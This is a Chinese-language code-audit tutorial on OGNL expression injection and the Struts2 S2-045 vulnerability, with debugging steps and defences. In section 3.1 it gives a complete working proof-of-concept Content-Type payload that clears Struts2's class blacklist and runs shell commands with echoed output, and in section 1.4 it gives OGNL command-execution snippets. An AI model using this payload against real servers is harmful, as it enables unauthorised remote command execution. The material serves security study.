从零开始java代码审计系列(三)
字数 1612 2025-08-29 08:32:09
Java代码审计系列(三):OGNL表达式注入与S2-045漏洞分析
1. OGNL表达式基础
1.1 什么是OGNL
OGNL(Object-Graph Navigation Language)是一种功能强大的表达式语言,用于获取和设置Java对象的属性。它提供了更高抽象度的语法来导航Java对象图。
主要特点:
- 简洁的语法完成Java对象导航
- 通过"路径"访问对象信息,而非直接使用get/set方法
- 可以完成列表映射和选择等操作
1.2 OGNL三要素
- 表达式:最重要的部分,告诉OGNL需要执行什么操作
- ROOT对象:OGNL操作的目标对象
- 上下文环境:限定操作执行的环境,是一个MAP结构
1.3 OGNL基本语法
- 访问上下文环境参数:表达式前加
# - 访问静态变量/调用静态方法:
@[class]@[field/method()] - 构造任意对象:直接使用已知对象的构造方法
1.4 OGNL执行命令示例
// 方式一:使用Ognl.getValue
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')",
context, context.getRoot());
// 方式二:使用Ognl.setValue
Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"),
context, context.getRoot());
2. S2-045漏洞分析
2.1 漏洞背景
S2-045是Struts2框架中的一个远程代码执行漏洞,源于Jakarta文件上传组件对Content-Type头的错误处理,导致OGNL表达式注入。
2.2 漏洞触发流程
-
请求封装:
PrepareOperations.wrapRequest()将HTTP请求封装成对象- 检查Content-Type是否包含"multipart/form-data"
-
异常触发:
- 当Content-Type不以"multipart/"开头时,抛出
InvalidContentTypeException - 异常信息中包含用户可控的Content-Type内容
- 当Content-Type不以"multipart/"开头时,抛出
-
OGNL解析:
- 异常信息被传递到
LocalizedTextUtil.findText() - 最终到达
TextParseUtil.translateVariables() - 恶意OGNL表达式被执行
- 异常信息被传递到
2.3 关键代码分析
// Dispatcher.wrapRequest() 检查Content-Type
String content_type = request.getContentType();
if (content_type != null && content_type.contains("multipart/form-data")) {
// 处理multipart请求
} else {
// 其他请求处理
}
// FileItemIteratorImpl 验证Content-Type格式
if (null != contentType && !contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) {
throw new FileUploadBase.InvalidContentTypeException(...);
}
// TextParseUtil.translateVariables() 解析OGNL
String lookupChars = open + "{";
while (true) {
int start = expression.indexOf(lookupChars, pos);
// 解析并执行OGNL表达式
}
3. 漏洞利用分析
3.1 典型POC
Content-Type: %{
(#nike='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#memberAccess?(#memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)).
(#cmd='"whoami"').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
};
3.2 POC解析
-
绕过黑名单:
- Struts2默认黑名单包含
java.lang.Runtime等危险类 - POC先获取
DEFAULT_MEMBER_ACCESS - 通过
getInstance实例化OgnlUtil - 清除黑名单(
excludedPackageNames和excludedClasses) - 使用
setMemberAccess覆盖原有设置
- Struts2默认黑名单包含
-
命令执行:
- 检测操作系统类型
- 根据系统类型构造相应命令
- 创建
ProcessBuilder执行命令 - 获取响应输出流回显结果
3.3 黑名单机制
Struts2在struts-default.xml中定义的黑名单:
<constant name="struts.excludedClasses"
value="java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class,
java.lang.ClassLoader, java.lang.Shutdown, java.lang.ProcessBuilder,
ognl.OgnlContext, ognl.ClassResolver, ognl.TypeConverter, ognl.MemberAccess,
ognl.DefaultMemberAccess, com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext"/>
<constant name="struts.excludedPackageNames"
value="java.lang.,ognl,javax,freemarker.core,freemarker.template"/>
4. 环境搭建与调试
4.1 环境准备
- 使用Docker搭建漏洞环境
- IDEA导入Maven项目
- 配置远程调试
4.2 调试技巧
-
关键断点设置:
PrepareOperations.wrapRequest()Dispatcher.wrapRequest()FileItemIteratorImpl构造函数TextParseUtil.translateVariables()
-
调试流程:
- 跟踪Content-Type处理流程
- 观察异常抛出和传递
- 监控OGNL表达式解析过程
5. 防御措施
- 升级Struts2到最新安全版本
- 禁用危险的OGNL表达式功能
- 加强输入验证,特别是Content-Type头
- 实施严格的黑名单机制
- 使用Web应用防火墙(WAF)拦截恶意请求
6. 总结
S2-045漏洞展示了框架设计中的安全风险:
- 异常处理流程中的安全隐患
- 表达式注入的威力
- 黑名单机制的局限性
通过分析此漏洞,安全研究人员可以:
- 深入理解OGNL表达式注入原理
- 掌握Struts2框架的内部工作机制
- 学习复杂漏洞的利用技巧
- 提高代码审计能力